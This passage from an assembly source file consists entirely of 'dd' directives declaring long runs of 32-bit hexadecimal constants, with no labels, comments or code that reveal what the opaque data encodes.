1408B59h, 0A48FAC0Dh, 98D067F7h, 18686F20h, 0B680D70Fh dd 0A23558BFh, 0DE657A00h, 16F0E73Eh, 7ED82EACh, 8FE88108h dd 0D07C11DCh, 58B7E5FCh, 5481C01Bh, 7F42E8ACh, 0B26BD51Dh dd 989FC400h, 0FAE97179h, 48CA8FCh, 0DC7C0751h, 7F7ACE4h dd 0DEFE40F5h, 3F540F27h, 8C42C75Ch, 5700B420h, 90898802h dd 6BBFFAh, 0C7ADD3CFh, 4DBC4161h, 484C5130h, 1CE4A48h dd 0EA6E8EFEh, 0FC926FFBh, 0DF009526h, 85C94E1Ch, 0B5F5E8h dd 0E7555053h, 774CB6BBh, 33171400h, 6AFDE193h, 5EED2DE8h dd 0CE001B58h, 0E57CCDAFh, 135FCC4h, 0EA38EE1h, 0D0A7EA13h dd 0CB000346h, 817977DDh, 0D6B2F56h, 19959901h, 1C8ACF0h dd 5DADE600h, 24B30h, 77124DFEh, 0CC8B50E1h, 6BB93E00h dd 2A28BB2Dh, 0BF150001h, 0C53F6E8Ah, 6200CF9Ch, 802183EAh dd 94041Fh, 0EF843197h, 7EF71640h, 0D9FA200h, 447B4236h dd 0C0C21F2Fh, 0AF8B00A5h, 0A4031023h, 0BA00B5E8h, 453DD161h dd 1C274D8h, 94715463h, 3098FE2Eh, 0D4267FECh, 4400CC01h dd 0E0271FB2h, 0C5E607DAh, 20A1C9B6h, 969807C8h, 9484A813h dd 0FEDBE800h, 4C298C49h, 6F00C02Bh, 0AD750FF4h, 0D8004338h dd 0E660570Dh, 17B1815Ah, 402B6595h, 0D3CC5C74h, 0BD3E1174h dd 2C669C67h, 2BFCAEC0h, 719B6D24h, 92DB0772h, 0B05A716Fh dd 7F08DE4Eh, 0F9377500h, 1AAC177Ah, 0E1F712C7h, 0EA3440B5h dd 812152FEh, 6A89B917h, 8318602Ah, 12F93840h, 0FC525904h dd 2E40D9D0h, 9378C5BAh, 2246D0F3h, 53DC3F00h, 63327C1h dd 407506D6h, 0E1A79E2Ah, 90B0C002h, 8159C318h, 0BA37F4CFh dd 1DE82E0h, 0B06378FEh, 0E53C846Ah, 384DE093h, 365FDB00h dd 0EE99853Fh, 0E97E0DF1h, 3046DE7Fh, 0B7092FA0h, 8023BF9Dh dd 5EDC4F1Ah, 54A94CACh, 0B8FF2518h, 0A71E21B5h, 60408893h dd 1D8AE9D1h, 708100B7h, 0A56EC0B9h, 0DCB21552h, 3174C9E2h dd 65E4000h, 0B85DD420h, 98D0BA9Fh, 0DB5F3B26h, 0C4D0E780h dd 0C1A9F24Fh, 0DEEA6F00h, 84E6E421h, 7040281h, 0A09ACCE7h dd 86A87CC0h, 6F830201h, 925B7A1h, 9494BC64h, 0FEF40080h dd 982C77FAh, 6D1BD507h, 13E089DEh, 16EAA7BFh, 4E827C5Dh dd 2F40B860h, 6970531Ch, 751B3524h, 809BDD02h, 8019420Ah dd 0AC6758BBh, 0AD22006Dh, 0DEC6702Eh, 4C032BBAh, 0DCB89EC5h dd 858EC835h, 3E4FC82h, 0A169320Bh, 0C2984990h, 864C5C42h dd 6BE000BBh, 4A67950Fh, 61ACFCA2h, 24172904h, 3BED20E3h dd 75B1D8C2h, 0DBCF0143h, 0DE9B2025h, 9D858D00h, 0E85FB905h dd 82DA03A3h, 90217D36h, 71B432D8h, 19C1F103h, 0E8E1BFEDh dd 46DFC6h, 0B1CDE68Dh, 74B7EF05h, 9FD538h, 0CF45507Ch dd 0CBAD6Dh, 255F3EF8h, 30415D5Ah, 5ECE500h, 1BBE12B5h dd 2ABD00D2h, 0E19C1457h, 1700D739h, 1C387751h, 2F4F542h dd 0DB7E1A40h, 7440318Dh, 6602286Eh, 0BB57DF11h, 1654E041h dd 23D9180Fh, 9D9CBE8Ch, 622BB504h, 8A421C1h, 0ECA924C0h dd 7E70002Ch, 0E72A2D61h, 237C1800h, 6F75E907h, 2C50B42h dd 0EC807A7Fh, 0DE9AB086h, 96C1B201h, 4F314555h, 0C050AA65h dd 3E84D9A4h, 4B737Fh, 0C613CC1Ch, 5EB8E5F9h, 43EAF8CFh dd 0AB8F364Eh, 0D829C351h, 1D37445h, 59B830DAh, 0E853616Fh dd 9C00A572h, 0ED826463h, 0E9E3CF6h, 0CD85B4C3h, 0AAD040E2h dd 1BB9EAC0h, 7C8AF909h, 0C9148E2Ch, 0AB2CE01Ch, 3E2001CBh dd 7C7922B8h, 0F303FC99h, 0DCE44800h, 0CE440806h, 82F800A5h dd 210698Ah, 380BDB31h, 0A1D5C9h, 8B999E16h, 0ADAE09E1h dd 4CA050F8h, 0A6B67B24h, 0D40D0600h, 0BA8B010h, 74A4A147h dd 0FD27A429h, 153A6820h, 0E3601030h, 57489D11h, 0C02748F4h dd 0DFB36B00h, 0C9CA3F2Ch, 695BAE01h, 0A57D3780h, 0B8D84921h dd 0E8D6482Ah, 7664AA19h, 9DC82401h, 43508494h, 2A473ECh dd 0AC6E9B2Ch, 6CE0274Ch, 0E1CA941h, 21C02FBEh, 0EBA0C488h dd 0E95800B9h, 7ED77DB0h, 0A7505945h, 3F77A9B0h, 41325E00h dd 74529A21h, 72D4F8F7h, 0F16D304Fh, 9CB7D111h, 9BF8E7FAh dd 63F43Dh, 83C06703h, 1790AAEh, 905704Eh, 0FC7EDD62h dd 1A003FEAh, 0EB50CDFEh, 3FE8E722h, 3CDC3B6Ah, 555BC500h dd 0D2842EA5h, 0CE300900h, 0D4EBF89Bh, 71FF0743h, 72A44F6Eh dd 0C07F9C6Bh, 0EA7D96Dh, 0E7308977h, 5584BA7h, 0D0B8C067h dd 4C9092ABh, 1DBB9C00h, 2570E2E5h, 77107527h, 0DB75EFh dd 0D106CD41h, 64903D6Bh, 1E1345Ch, 20179AB2h, 0BFC493A5h dd 0CB8A00FEh, 0F2062754h, 0FC005D76h, 0C1EBE881h, 1C3C31h dd 613628E1h, 43179E02h, 0BB26C51Dh, 560C180h, 799D77h dd 2E8951B0h, 3D01DD0Ah, 0FCA15500h, 0E2806E9Ah, 0BD489A77h dd 0B936B360h, 23A5E112h, 0A7B1388Bh, 0AC4410B6h, 2E04B0D0h dd 64DC290Fh, 3643219h, 98A0B7F7h, 18DEC258h, 4310AF18h dd 935D18C6h, 4C0720F9h, 7F9F7C0Eh, 3CA6655Ch, 5BC02403h dd 26610063h, 44F0E891h, 0A21FC87Fh, 9FC6FBD3h, 9A4001C1h dd 3F42006Ch, 0EFFEE9DDh, 0E7B57FCh, 9670897Ch, 0A2A6C918h dd 0F3C9178h, 0F06E2624h, 6D4E4A00h, 440EB198h, 0C357801Bh dd 90F7953Ch, 28832F1Dh, 0EB3238h, 55585AAEh, 0AC163B04h dd 720D3007h, 9FA014E6h, 40EC09h, 20E49E8Fh, 4599AB1Fh dd 3E004A77h, 470FC0A4h, 11B3EEh, 55AAB765h, 83765125h dd 3961B403h, 0D87C5954h, 259C6F53h, 0E004A9FEh, 89288557h dd 53A86054h, 76BBB400h, 23188278h, 0F8A200A0h, 49C5842h dd 0BF01F22Bh, 0CA0B90EEh, 0EBE5F74Dh, 0B5148ECh, 97505502h dd 37310B80h, 820BC357h, 0A0244235h, 30F06A80h, 99D077Eh dd 0A0348AAEh, 0AC4B787Dh, 0BDF1F700h, 0B3E5C2ABh, 96F294h dd 0C9335A8Ah, 0EE562068h, 7528CF12h, 4CC07E1Ch, 0D909BC25h dd 2E9F248h, 7098E2AEh, 0DF80F799h, 0F342362Bh, 0CF502707h dd 79D74552h, 0B7A4B340h, 138300C8h, 0F5AFBA57h, 0FCB87793h dd 8355300h, 84FF3985h, 0D0C33D19h, 0D8EE17h, 0CC07BE9Ch dd 1A01E044h, 49B90161h, 7BD8BAA9h, 0C02D6073h, 0B5EA92D5h dd 2057CD00h, 0D201E302h, 0E7B6016Ah, 0C7B379ECh, 0DCAAA4F7h dd 52FD8580h, 9CE87C21h, 126B092Ch, 72481040h, 42D035E1h dd 386334E1h, 57F32AD0h, 0BCD1F20Ch, 56421ABh, 7E655033h dd 7C24C171h, 0CA9C1078h, 16F47530h, 0CCAD8BBBh, 0D626B6B8h dd 1206B54Ah, 0D8D8E3BCh, 339AD950h, 43EE38h, 0CD4F7693h dd 3E34226Fh, 9C1ED8AEh, 0DB444014h, 0C96AC44Ah, 80275200h dd 0FE26403Fh, 19391811h, 0AABE515Eh, 0BD86D214h, 321600B4h dd 11849DDFh, 82550422h, 0AAA6DD78h, 8045E60Ah, 206F129Eh dd 0E9C12C2Ch, 917F00A8h, 2AA738D9h, 8060F2C8h, 8182E161h dd 0DC471664h, 9A68C0B2h, 1B2C8EEAh, 40154D3h, 2A44ACF3h dd 9CDBF912h, 46DEC400h, 0A9606Bh, 8136D2CCh, 0A16F1B6Eh dd 9D27BF00h, 8CFD1FC1h, 0C9A50167h, 0DEA3BECBh, 3C042068h dd 5B254300h, 0C44CF6E9h dd 0F6600D0h, 89AF0227h, 421E643Dh, 6700BA4Fh, 0F5752AB2h dd 0BCDEF03Eh, 0F81186ECh, 5F04B814h, 0C8F733B5h, 0F3E87500h dd 3C12DBC6h, 1C4309A5h, 0A078FE36h, 13147786h, 0C11A38D8h dd 32D4BA08h, 50439B0h, 0FA96A7B9h, 0AE840C6h, 521D351Fh dd 0C5AA839Ch, 8CB8E76Ah, 4607C00Eh, 591F3AB9h, 6E7FC7A0h dd 746C0224h, 0C9D2A25Bh, 0E27CE07Dh, 68FC00DDh, 2F0CFF25h dd 7600F5CBh, 5D7BFE99h, 5D09F6Fh, 38B5F69h, 53900005h dd 3EF89847h, 0A66C3000h, 0DEE91037h, 0DA5D00FBh, 39C34E8Eh dd 0CB09468Ch, 25E575Ah, 23872C94h, 80A7A253h, 4DFD4174h dd 911CC8C7h, 39280099h, 0E936EEh, 8FB1684Ch, 0A26D8A4Fh dd 3E6B0200h, 53236693h, 7AF00006h, 172E0926h, 0FE00AC30h dd 0D4A06D3Ah, 1CBE2870h, 80248B66h, 8C471BB7h, 0FA0E6937h dd 0A0EF4FB5h, 29315AA5h, 26090012h, 0DDD6CE57h, 0B400C38Dh dd 6A6F89D0h, 2C9040E2h, 0C8FF5Ch, 54DC7D82h, 891EB3EDh dd 0E03C95Dh, 0BFA35C12h, 6D32ECF0h, 5ACF0073h, 0B1C7B6BCh dd 9C014386h, 0F16C2564h, 28CCA251h, 8BCE37F6h, 9FD07061h dd 8900B56Eh, 85CC38EFh, 0C752AE90h, 530D0B21h, 0B000A4EDh dd 195D6975h, 548736Ch, 7785EABBh, 7AAC0586h, 0BA44C8DEh dd 0AC1D8894h, 27E09340h, 17E69F28h, 3C180FDh, 224741C0h dd 44820C88h, 31263801h, 78C6EE92h, 769FB02Fh, 36A63000h dd 0C9E5D847h, 0F5498EDh, 878FF595h, 0B94CCDA2h, 91114C68h dd 0DBDFF602h, 80B23F51h, 20CBD7E4h, 11FA6797h, 4A4910C8h dd 0E21832B5h, 10192E0Ah, 70862D3Fh, 80C0EC85h, 8E62A567h dd 0AD673100h, 1DD89724h, 3D5D1804h, 730329C1h, 85DFB038h dd 1085256h, 51B7EC91h, 0FAC1B731h, 7388A0FEh, 5FAFA3h dd 0FF47A7F0h, 0E9B0853Ch, 0AE64EC0Fh, 5AC6E03Ah, 5CE40CF9h dd 0C00A8474h, 94B588h, 0E2855DCEh, 2D00BB0Bh, 20BEB068h dd 6D6E7Bh, 2FFAC7D1h, 0B20EE671h, 53823100h, 9802DFEBh dd 5FC6038Dh, 7BE0F197h, 807D7798h, 0A7946A0Eh, 4465E0D2h dd 0EE15F388h, 49E7005Fh, 0D750DC18h, 4101A81Eh, 0D5964A6Dh dd 0EBFD21B4h, 0C055A99Eh, 0DACA5630h, 0AF0B6642h, 80BB7C69h dd 0FF12AD4Eh, 0DB7000E3h, 66CC485Bh, 0B30304D6h, 961BB57Ah dd 0F03A986Ch, 14520025h, 3EB96422h, 3304AB85h, 0EF0FB4A1h dd 297FD8D0h, 69C414F8h, 0E401940Ah, 9267FFA4h, 53A9E04Bh dd 8512DB03h, 0F1D30B2h, 0B3E21AA9h, 36376E40h, 3F4A2914h dd 0C54B3880h, 0E37E6Ch, 45B3CF03h, 52947CD8h, 0D07E4CB0h dd 9F00427Bh, 0D538F8E1h, 0CECB69h, 0BBC08E2Ch, 0F333EBA5h dd 0C5004A74h, 10A91E71h, 363F23h, 857C9717h, 0D2EE0D9h dd 0B5C3E801h, 86341CC0h, 3018160h, 16042C58h, 1FE09422h dd 2E07BA9Eh, 0C0B478F5h, 80D336h, 25DCCEAAh, 0B2C3F84Fh dd 5C556E04h, 5CC8B3C2h, 0BCFC000Ch, 7C8C35C9h, 0DB011282h dd 0D756E155h, 982075D1h, 67430062h, 834D7E3Fh, 21FE50Ch dd 6840CA84h, 0F8475ACCh, 1D24020Bh, 5EF7B474h, 0BF8964D9h dd 3E944858h, 0EAE7003Ch, 0CBE4DD77h, 18C1F316h, 0D3ACFCDEh dd 498B20D0h, 84287C7Fh, 20DC641Ch, 0EEC0A4F7h, 1AF23200h dd 0D4CAC952h, 9F4F1692h, 0F3ACC72Bh, 0E688FCEFh, 1104DD57h dd 54062F3Ch, 7CE894A4h, 24F70367h, 0F4780BDEh, 0A2AC42A8h dd 8C3CA812h, 8CE8A483h, 1E009411h, 812EB889h, 53248FA8h dd 0E700C105h, 0B943CCDCh, 0A761D1Eh, 71ECC1F3h, 0F34B8459h dd 74C7EF90h, 72937A00h, 0D433A1A8h, 0E1C61C58h, 0FC734015h dd 9E2ADC1Dh, 697E810Fh, 34009C0Ch, 869D0EB5h, 0CD742Eh dd 0D5EB26B3h, 23E1958Dh, 7DA3CF00h, 94B6A862h, 60A40071h dd 669877B5h, 6F00D549h, 2682A93Dh, 152B61h, 55831D78h dd 8C7DD773h, 7E298F00h, 0EC4098EFh, 75C900BBh, 8928E69Ch dd 8E0047C7h, 5CE53819h, 589170CDh, 201E916Eh, 3E8480B7h dd 0BA0E8D8Fh, 801F9E15h, 49029F4h, 79EBF6C0h, 674800DBh dd 0D2EE8E84h, 6E008C1Dh, 719B8159h, 0FAC7C5A8h, 90931D28h dd 0C1B04CEFh, 24F3C838h, 0E43FF708h, 659100F2h, 55455A02h dd 185FE2Ah, 11A8B04Fh, 81E46E3Dh, 0BD0D2B20h, 204F98D3h dd 805E1611h, 189843DAh, 83B9DE91h, 0F7AFE8C6h, 0FFC8F88h dd 0A808BC66h, 0FED10021h, 0E4529BE8h, 5730248Dh, 491F164h dd 8CC100E6h, 0C611CEC0h, 5D60C44Bh, 0CF488D0h, 88C360A2h dd 67620679h, 87043601h, 247D5440h, 750A0028h, 0B0A42AF1h dd 3D456A28h, 98DDE801h, 87C37FCFh, 29C07181h, 20419423h dd 932E8528h, 0E440C4AFh, 0A03EE13Bh, 7C64F6BCh, 3CC1B9Fh dd 0E3F321FDh, 0D479B2F8h, 0FF9421FDh, 21EE0837h, 3A3EFBD0h dd 39D7138h, 3A22DFDh, 4BE1817Dh, 6FA1A628h, 0DEDD5100h dd 317FAC14h, 8D08BCA6h, 6A208380h, 0A00851A2h, 0CCC33Dh dd 4E1044E1h, 0D61997A5h, 58B12B12h, 0D263FC20h, 0F0E80AC7h dd 37A3DD6Fh, 8321EC09h, 50C79B00h, 0EF312A7Ch, 0B36E00EAh dd 4EF1460Fh, 660EA85Bh, 2F5C1B1h, 40ADD362h, 1C5EA2Ch dd 2A8865E1h, 20A961AAh, 0F70A5040h, 0C8F4F63Ch, 7D8D8300h dd 0CC49BAh, 9B708935h, 0A38F7C0Fh, 59031F14h, 8CC3E8A0h dd 3821783Bh, 0FA9403CAh, 6E1D60Ch, 0DF232470h, 8400A09Fh dd 4A8AA0Dh, 31E8596Ah, 55F169F8h, 713FDC5Bh, 0A521D218h dd 0B7EB8h, 8E878A7Dh, 8DAEF2E8h, 85D318CFh, 0F8007009h dd 0CF6DDEFEh, 5860C96Ah, 7D978090h, 92F8690Eh, 0E8A978AFh dd 0F138A0FAh, 0F9B61CFFh, 0E4BD1499h, 13B2CB1Eh, 0EF4D0026h dd 50232BE6h, 0C5CCF154h, 0E73EE0E0h, 0E4832BD1h, 0E6C7C003h dd 8F62CCF0h, 0C7C9A520h, 29226BAh, 0DEF84018h, 0D8CA8F18h dd 7E6088E4h, 0C162693Bh, 201B42D8h, 14208096h, 0A15965CAh dd 0E10200EEh, 0C6D221C2h, 0D1360B79h, 46983058h, 0C7B707B4h dd 0DC44F0E9h, 0AE80B837h, 7C03C798h, 0E74500CBh, 58D5BA52h dd 9E028BD6h, 99DA4385h, 42B88081h, 0E69B80B7h, 0E6E5244Dh dd 0B020AF24h, 6B4F131Ch, 1C926C9Ah, 69C0577Dh, 14047F49h dd 560A0321h, 969C8E80h, 0A1417CE8h, 0DAE6E404h, 40173C5h dd 0BA313D43h, 3014CCD0h, 0AD4A51C9h, 0AB9C0C96h, 0D7795C48h dd 588B8C00h, 0E7237282h, 0A4D930AAh, 0F6AC3B48h, 0ECA0440Dh dd 0C030891Eh, 76AF3065h, 0BAE4F9A8h, 0A0C8D96Ah, 19B7EF0Ch dd 0A8E11C23h, 7CF818Dh, 41592D43h, 0C67C7248h, 0CCA40409h dd 9460A262h, 0A49B17F7h, 0CD00A411h, 0B88E8FAh, 3F09FFB3h dd 0B531549h, 0FF0C5F94h, 0F5540388h, 0C8F05BA0h, 6E4C6800h dd 8EC1CD36h, 39E10022h, 0AF250C9Eh, 633E54Eh, 0D9C938ECh dd 0D826FE90h, 0B03EE902h, 0EF31E479h, 2EC14410h, 41387600h dd 40D4E788h, 10D801C8h, 19CB2D9Fh, 0DA5C4081h, 30082C7h dd 0D29250F8h, 1C44F497h, 4362C196h, 3807EF3Eh, 0DE2DF3BFh dd 2CE0E8BAh, 0FF0083B4h, 0EDC5BFF9h, 9BC1C72Bh, 9CDE0004h dd 3ED4BDE1h, 0B6A6201h, 8E9297F8h, 80D614CBh, 2480DC0Dh dd 2FE8C036h, 0C9BCDD50h, 9AF4F58Ch, 22EF46F7h, 0F5CE00A3h dd 0A81795E8h, 9603EE89h, 0F9922E49h, 0C77280A3h, 441C9AB3h dd 19008C71h, 4C605CE7h, 2A7B32F3h, 9CF1FEh, 3D9888D3h dd 79D8A64Fh, 0CA0032E8h, 0DAFF84B2h, 14F3A1CDh, 0CCFCAE0Ch dd 0BF23204Ch, 0C151A901h dd 0E0EB4DEh, 7D51B666h, 0E6EDC000h, 1897371Fh, 50DE7234h dd 5858B0D6h, 0E9DB80C0h, 0FDD7ECh, 7F032476h, 48A74609h dd 0F8715F63h, 73E0A063h, 0A5620041h, 85CA6699h, 0DE149CC1h dd 0FC4A3Bh, 0F971CD2Ch, 0C0EF1E34h, 3ED8FDB9h, 0D20158CEh dd 1FCF79A3h, 0F022FE6Dh, 0BB036801h, 50F28A71h, 0C3B151F8h dd 8C574618h, 3CEAA1h, 0F167D8F7h, 0C994497Ch, 39AC951Bh dd 0A5A9B0BCh, 4352091Eh, 34A145BAh, 459AF9B3h, 23B03AF8h dd 0A45B07A3h, 0C2D010E7h, 210A77FEh, 30D2E6DCh, 9CDB7E04h dd 0A480BCD7h, 0C4765844h, 0FA5149B1h, 71D65AC0h, 186BE8CFh dd 2192F5E8h, 0ACA45E4Bh, 14FA3E00h, 58285456h, 0EA9B0378h dd 8F8E1CE8h, 0C89F9024h, 4B171FDCh, 0BF78407Dh, 41D288BDh dd 0D059A8C0h, 908B9FCDh, 0CBA30314h, 5C0334D6h, 0C6190AF0h dd 45A15498h, 109C32FEh, 0F91C696Ah, 0C960E98h, 0DE846FFh dd 0C300D140h, 6B4DEBF1h, 48D79F31h, 0FE2358DFh, 0A2519A01h dd 0E0CDEh, 69518299h, 10874C3h, 0F7B55934h, 92DA0Ch, 658CB91Ch dd 8E903AA0h, 0C0B88850h, 46B1CCD6h, 54132DFAh, 0F4004238h dd 5971EB22h, 0A35A0106h, 48C297A2h, 9999E87h, 0E0DE0CCEh dd 0DBBBF320h, 4F30E357h, 88745053h, 0C54A0972h, 3404935Dh dd 0E8F4609Ah, 0C7F723A5h, 0CB01A711h, 0E7BAE8CCh, 5307D031h dd 0B2DD6139h, 30A2E078h, 0E311C7B1h, 0B488A7F0h, 0C79ABC80h dd 0FC333Eh, 0A205E3C6h, 0A8F1A906h, 9298D304h, 0CCB5EADDh dd 7103007Dh, 6F4711DAh, 0EDD378E8h, 4B5C2A07h, 4E9F2F1h dd 0EA60F93Ch, 7923CD3Eh, 0BED11FCh, 812EC247h, 81B53BECh dd 7BA38C20h, 7FE7265Eh, 62751D8Ch, 1038435Dh, 2A005CC9h dd 0D0EEFC9Ch, 7525817Ch, 0EDE420C3h, 484ECF3Fh, 0C830B868h dd 0D6AAF631h, 45E8DCA8h, 7F2E7A00h, 7E9567CDh, 54C60D60h dd 20E98E10h, 0F441A248h, 1F16D802h, 5800C6B9h, 0B72DE6F0h dd 68A0E975h, 0FCF0A1C4h, 54402195h, 3982926Bh, 0F703DDFDh dd 0F1F994A0h, 0AE0084CFh, 28C9690Ch, 0A48A23h, 0A62C10E9h dd 2A34F750h, 0C102C8B2h, 36BCD79h, 365620F6h, 1A074FB6h dd 1D4ECAFBh, 820CBFA0h, 0C0D20CD6h, 9079F3EBh, 1D3C100h dd 6C1F3436h, 20C09F1h, 480782Ah, 864A128Eh, 761D227Bh dd 0BDC083D6h, 0C15BB10Ah, 0DEB259Bh, 0C0C58024h, 7D39483Bh dd 80ECD0D5h, 0DEA3519Bh, 5A608C04h, 51839C21h, 7E847E7Dh dd 0C8D48DBh, 9BA4209h, 46B368C0h, 997BCB01h, 1C12D832h dd 9A02202Ch, 1E5A6E7Dh, 0C28EA05Eh, 0FDA680ACh, 3FCBA9D1h dd 6D3A1DCDh, 19D4400h, 14B6F072h, 4427A2Ch, 4B6A846Fh dd 0F8309622h, 0F7A913E8h, 588BA7h, 0E3E8D0CFh, 11D1BE0Eh dd 9404835h, 6059BAF6h, 1F50FC88h, 26BCAF93h, 60FA44D8h dd 10C43EE5h, 0DE9C0479h, 0FD5001E2h, 991F6A3Eh, 1832D8EFh dd 0EBBE2105h, 74C095DDh, 2F634Fh, 0F2614693h, 0DA42E21Fh dd 44BDE52Ch, 410D2389h, 0C1F0B0F4h, 7C18CC9Ah, 3604EC98h dd 0F24A3D11h, 602F4E0h, 49D2EE77h, 813928B1h, 0B79B129Ch dd 55F3F705h, 247E44A0h, 8FB8A10Bh, 0DEA0F2E4h, 7CF85964h dd 14D3F72Ch, 8788A104h, 15C07F07h, 0D0203CFEh, 80652221h dd 52704E01h, 0C000A7EFh, 0D28EE84Dh, 542369h, 507FEBE7h dd 0D592020Dh, 8499F490h, 8918EED1h, 2ACE13Fh, 0E4F9205Dh dd 0DEA8E89Eh, 13A74A7Dh, 0A3409E0h, 709D30C2h, 60809308h dd 6511A56Fh, 131CAB06h, 1D5881EBh, 0A42BEFD0h, 18F3743Ch dd 62DE007Dh, 0FEF46606h, 30E322EFh, 0AF59BECDh, 190B04E4h dd 74C9842Bh, 8C808C34h, 0E5C7CB05h, 1C8E97F0h, 0C7CCAA01h dd 0E48D5904h, 0CF07E9D4h, 79EA3A2Eh, 40C8FDD2h, 0D7BAEB40h dd 23982FD0h, 366F00AAh, 0FA7AB9E4h, 5E4CC500h, 0B164EFB3h dd 1868F871h, 10248761h, 0F401EA50h, 69EBE90Bh, 0A4FC8AA3h dd 6673039Ch, 2E6BAFC5h, 21860830h, 0A460A9h, 943ED18Eh dd 85BB0724h, 581CB200h, 953CA869h, 0ECA400C4h, 1E0CA978h dd 463AEA35h, 42E803Dh, 0C9BCDA39h, 0E78B0026h, 5B37D31Dh dd 0E500B26Dh, 36749F27h, 0C4806Fh, 503D8E01h, 0DE835778h dd 702CF40Eh, 6DA5E0B2h, 1BB52Eh, 45DD2135h, 0C5DBF66Eh dd 3E83CA00h, 858A9703h, 0DCB10E5Dh, 0B320137Ah, 0EF6AF86Ch dd 9683EA0Eh, 91B0A023h, 0D7E16Eh, 2E7EE6D5h, 6670AAA4h dd 0D896B00h, 0BC2DE2EBh, 144F3A01h, 77FCB100h, 8ED48CF4h dd 0E833ADF6h, 1A0996h, 8CECD721h, 3CCF201Eh, 0D584B600h dd 0ADE4F88Ah, 17F03164h, 80104F28h, 1B258731h, 8E8566h dd 0C89271B8h, 4311E9B6h, 770183F6h, 17CEBFC1h, 0EF389F5h dd 81D81C41h, 0E03B6E00h, 0D366674Dh, 7B211B08h, 0BB8100A5h dd 0B836F723h, 0DAE0F00Fh, 376E6300h, 0BE141CB6h, 0E32F0F8h dd 0A3E24CB2h, 3F5090F8h, 20E76236h, 0B50CF10h, 4CA44C1Eh dd 0D4009111h, 0A86AF454h, 0CC32C070h, 71214809h, 0E454D700h dd 0E351F3AFh, 12773036h, 0DC82FDC8h, 1EE09160h, 6BB5232h dd 1A93E06Ch, 8C0D88B5h, 801BB658h, 30B87883h, 1003092Eh dd 91AC3C64h, 7A81A079h, 0E861002Ah, 14176E11h, 0F400AA97h dd 0D0E1BD10h, 14DBDF05h, 0CA825942h, 51210B30h, 2C00CF1Fh dd 0D1E0F8C9h, 7D25E4E6h, 19E10085h, 0DCDE034Ch, 761F1F95h dd 968023F7h, 384F7870h, 949C0118h, 0A9B42BC6h, 0B6508C5Fh dd 7F088Dh, 52E03466h, 0B773DAECh, 3E4583Fh, 4B3884Ah dd 0F7800709h, 1D2592h, 0A45ABBB9h, 0FB99BE00h, 2B8AE555h dd 287F60FAh, 6618277h, 7BC1980h, 55A44C94h, 71A556F4h dd 0FF7AB018h, 0E42630h, 0BAC4869Ah, 20AE542Ch, 310138h dd 2B6698EFh, 712816h, 0FAD93B52h, 0FDFECA59h, 93963600h dd 0FC44835Eh, 8AAB00AFh, 88D01D9h, 0C2054FE0h, 57FD948Ch dd 0C3992080h, 0F73A00F5h, 0E40E5A9h, 5F51A3E7h, 0C88D6090h dd 0A2738800h, 5E71B508h, 0E1E4076Ah, 24F3A5h, 981149FCh dd 6E00F9EEh, 0B66C9680h, 1A27017h, 1851C0E6h, 0E0B3FB0Fh dd 50FE112h, 0C3B50E32h, 0C32472h, 881F7A48h, 0B381F0F9h dd 800A1118h, 14CE10h, 15D7BAE5h, 0BDDFF584h, 31308574h dd 1CCB2081h, 76173EE5h, 29D93C00h, 570EC3D1h, 1F3341C3h dd 0F0EBABB7h, 4467D61h, 91D164Ch, 7EB01976h, 609919E0h dd 0BCE811A4h, 5F030249h, 277D6AC1h, 0ED0830B9h, 49C36521h dd 855A4200h, 480C9B2Fh, 72F80346h, 0A27D671Ah, 86F4B4B0h dd 120604E4h, 7AA6C688h, 0AFE00071h, 5BF82034h, 0FB330AD4h dd 0C60863h, 34B4BB21h, 0F7435A5Fh, 42F1F9FBh, 0AE30C724h dd 21F8FC34h, 0C591D5B3h, 34B7BA00h, 5A9B77FEh, 3EB6B501h dd 0E12AD47h, 6133FE8h, 2CD4F888h, 0F5006084h, 0B97B0CE7h dd 0CF1EA6h, 0BBC0939Bh, 41ED6DD3h, 3B5A8900h, 71E07534h dd 0CD7B018Dh, 81A58F99h, 0A8D2C4C1h, 306E7800h, 0C9D071FEh dd 58775Fh, 6509B10Ah, 0B03AD8B4h, 80F5EB3Eh, 0BF5BA5E5h dd 93CF4Bh, 0BA33606Dh, 0BDB0E129h, 40FE7A00h, 95BCE359h dd 0FFE90081h, 0A528BE33h, 1E000F41h, 3190C66Ah, 0D4CE6Dh dd 9C7FD2CBh, 3DD08534h, 440107B8h, 1B6865F9h, 52C82E5Bh dd 0FFF299h, 0A7A4137h, 0F60DB90Ch, 7EB86400h, 0BB54734Eh dd 55EA014Ah, 0BD12B25Ch, 0B976D05Dh, 920020D2h, 551903BBh dd 0B675006Eh dd 0FCCE4BB4h, 93FCFDA8h, 0D2648C1h, 2C4829B9h, 0AEBC04F8h dd 2C5DF5EAh, 0BB501FB0h, 0AFFB40B3h, 2BF5BCC1h, 2210ACF6h dd 0D0E4E4Fh, 8940BD59h, 34B36185h, 8A1B270Bh, 23AF03F4h dd 0F0290C51h, 2DCABF60h, 21A23Eh, 68A789BBh, 220E5Eh dd 12C617E0h, 4EB23CD4h, 67CE4F18h, 613B68A9h, 60514957h dd 0EA198092h, 106E617Dh, 7694773Ah, 7C1E791Fh, 3085608Dh dd 447F46F1h, 0F515CA0Ch, 0D23974h, 0D40CCF8Ah, 9B6FE5F9h dd 1360EB00h, 1D5BBB9Dh, 0B975149Ah, 2823C450h, 9FBB5701h dd 9858EDEAh, 0B1608A7Bh, 0FCE6BABBh, 9652640Ch, 0B88920h dd 2A86CD23h, 0A271DBECh, 8BA3810Ch, 9338BBh, 0CF32358h dd 6F9229C2h, 8413933h, 0FB413F0Eh, 0D35FF301h, 8063F53Bh dd 79059691h, 1E0E2D94h, 80913EB1h, 0E67535B7h, 6814DBE0h dd 869C60FDh, 30A97A31h, 0E2590C8Ah, 49008B77h, 10C52C38h dd 0B404BE6h, 0D9C7D851h, 1851C00h, 0D024A87Ah, 0EF8624D6h dd 2B9BA15h, 8A38FC70h, 0A8C17C7Dh, 50ADE147h, 98F425D0h dd 40247290h, 0BB401821h, 72B7148h, 6956518Ah, 0CE1140DCh dd 0FCA088D8h, 0F8955B20h, 0B810363h, 66F4CC9Ah, 7B39F17Dh dd 0AFEC0036h, 0CB333D78h, 0B2FF1404h, 630998C5h, 7810CF47h dd 0FD1D6425h, 833BE342h, 26BE4DF3h, 5E89007Ch, 0FD552449h dd 7D4CCE79h, 6208660Dh, 0A13B0021h, 0FBC11424h, 60F4529Fh dd 0C5E90B00h, 0D1D4536Dh, 3BB60791h, 0C011FFA4h, 96E76C03h dd 38AC1328h, 4B01B446h, 49FD5324h, 88680CCFh, 2438A33Dh dd 4D8886B9h, 0F195621h, 96BBB1ABh, 44D49BA0h, 631C6DDBh dd 